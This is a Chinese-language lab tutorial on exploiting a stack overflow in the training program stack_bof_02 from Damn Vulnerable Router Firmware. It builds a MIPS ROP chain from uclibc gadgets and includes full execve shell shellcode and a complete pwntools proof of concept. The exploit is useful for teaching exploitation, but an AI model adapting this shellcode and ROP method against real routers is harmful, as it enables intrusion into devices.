一步一步PWN路由器之rop技术实战
字数 865 2025-08-22 12:22:24
MIPS架构路由器ROP技术实战教学文档
前言
本教学文档基于DVRF(Damn Vulnerable Router Firmware)中的stack_bof_02程序,演示在MIPS架构下如何利用ROP(Return-Oriented Programming)技术实现漏洞利用。该程序是一个简单的栈溢出漏洞,但没有提供直接获取shell的函数,需要通过执行shellcode来实现攻击。
环境准备
- 目标程序:
pwnable/ShellCode_Required/stack_bof_02 - 调试工具:QEMU模拟器、GDB
- 辅助工具:pwntools
漏洞分析
1. 确认栈溢出漏洞
使用pwntools的cyclic功能确定溢出偏移量:
payload = "A" * 508 + 'B' * 4
with open("input", "wb") as f:
f.write(payload)
通过调试确认当填充508字节后,接下来的4字节会覆盖$pc寄存器。
2. 调试环境设置
使用QEMU运行目标程序并等待GDB连接:
sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/ShellCode_Required/stack_bof_02 "`cat ./pwnable/Intro/input`"
ROP技术实现
1. 关键ROP Gadget发现
在uclibc的scandir或scandir64函数末尾发现关键gadget:
.text:0000AFE0 lw $ra, 0x40+var_4($sp)
.text:0000AFE4 lw $fp, 0x40+var_8($sp)
.text:0000AFE8 lw $s7, 0x40+var_C($sp)
.text:0000AFEC lw $s6, 0x40+var_10($sp)
.text:0000AFF0 lw $s5, 0x40+var_14($sp)
.text:0000AFF4 lw $s4, 0x40+var_18($sp)
.text:0000AFF8 lw $s3, 0x40+var_1C($sp)
.text:0000AFFC lw $s2, 0x40+var_20($sp)
.text:0000B000 lw $s1, 0x40+var_24($sp)
.text:0000B004 lw $s0, 0x40+var_28($sp)
.text:0000B008 jr $ra
.text:0000B00C addiu $sp, 0x40
这个gadget允许我们控制几乎所有寄存器,是实现ROP链的关键。
2. ROP利用思路
- 使用上述gadget设置寄存器
- 进入ROP链执行
- 最终执行shellcode
Shellcode构造
使用MIPSEL架构的execve shellcode:
payload = ""
# NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)
for i in range(30):
payload += "\x26\x40\x08\x01"
# execve shellcode translated from MIPS to MIPSEL
payload += "\xff\xff\x06\x28" # slti $a2, $zero, -1
payload += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
payload += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
payload += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
payload += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
payload += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
payload += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
payload += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
payload += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
payload += "\xff\xff\x05\x28" # slti $a1, $zero, -1
payload += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
payload += "\x0c\x01\x01\x01" # syscall 0x40404
完整ROP链构造
padding = "O" * 508
payload = padding
payload += p32(0x766effe0) # gadget地址
payload += 'B' * 0x18
payload += 'A' * 4 # $s0
payload += p32(0x7670303c) # $s1
payload += 'A' * 4 # $s2
payload += 'A' * 4 # $s3
payload += 'A' * 4 # $s4
payload += 'A' * 4 # $s5
payload += 'A' * 4 # $s6
payload += 'A' * 4 # $s7
payload += 'A' * 4 # $fp
payload += p32(0x76714b10) # $ra for jmp
# stack for gadget 2
payload += 'B' * 0x18
payload += 'A' * 4 # $s0
payload += p32(0x0002F2B0 + 0x766e5000) # $s1
payload += 'A' * 4 # $s2
payload += p32(0x766fbdd0) # $ra
# stack for gadget 2 for second
payload += 'B' * 0x18
payload += p32(0x767064a0) # $s0 for jmp stack
payload += p32(0x0002F2B0 + 0x766e5000) # $s1
payload += 'A' * 4 # $s2
payload += p32(0x766fbdd0) # $ra for get stack addr
# stack for shellcode
payload += shellcode
调试技巧
- 寄存器模拟:在调试器中先修改寄存器和内存数据来模拟ROP链执行
- 分阶段验证:逐步构建ROP链,每步都进行验证
- 地址对齐:注意MIPS架构下的地址对齐要求
总结
- 通过
scandir64函数的gadget可以控制多个寄存器 - 精心构造的ROP链可以绕过DEP等防护机制
- 最终通过执行shellcode实现攻击
- 注意:实际执行shellcode后可能会触发异常,这是正常现象
参考资源
- Firmware Exploitation with JEB Part 2
- MIPS架构手册
- DVRF漏洞练习环境
附录:完整POC代码
#!/usr/bin/python
from pwn import *
context.endian = "little"
context.arch = "mips"
# 构造shellcode
def build_shellcode():
payload = ""
# NOP sled
for i in range(30):
payload += "\x26\x40\x08\x01"
# execve shellcode
payload += "\xff\xff\x06\x28" # slti $a2, $zero, -1
payload += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
payload += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
payload += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
payload += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
payload += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
payload += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
payload += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
payload += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
payload += "\xff\xff\x05\x28" # slti $a1, $zero, -1
payload += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
payload += "\x0c\x01\x01\x01" # syscall 0x40404
return payload
shellcode = build_shellcode()
# 构造ROP链
padding = "O" * 508
payload = padding
payload += p32(0x766effe0) # gadget地址
payload += 'B' * 0x18
payload += 'A' * 4 # $s0
payload += p32(0x7670303c) # $s1
payload += 'A' * 4 # $s2
payload += 'A' * 4 # $s3
payload += 'A' * 4 # $s4
payload += 'A' * 4 # $s5
payload += 'A' * 4 # $s6
payload += 'A' * 4 # $s7
payload += 'A' * 4 # $fp
payload += p32(0x76714b10) # $ra for jmp
# 第二段ROP链
payload += 'B' * 0x18
payload += 'A' * 4 # $s0
payload += p32(0x0002F2B0 + 0x766e5000) # $s1
payload += 'A' * 4 # $s2
payload += p32(0x766fbdd0) # $ra
# 第三段ROP链
payload += 'B' * 0x18
payload += p32(0x767064a0) # $s0 for jmp stack
payload += p32(0x0002F2B0 + 0x766e5000) # $s1
payload += 'A' * 4 # $s2
payload += p32(0x766fbdd0) # $ra for get stack addr
# 添加shellcode
payload += shellcode
# 写入文件
with open("input", "wb") as f:
f.write(payload)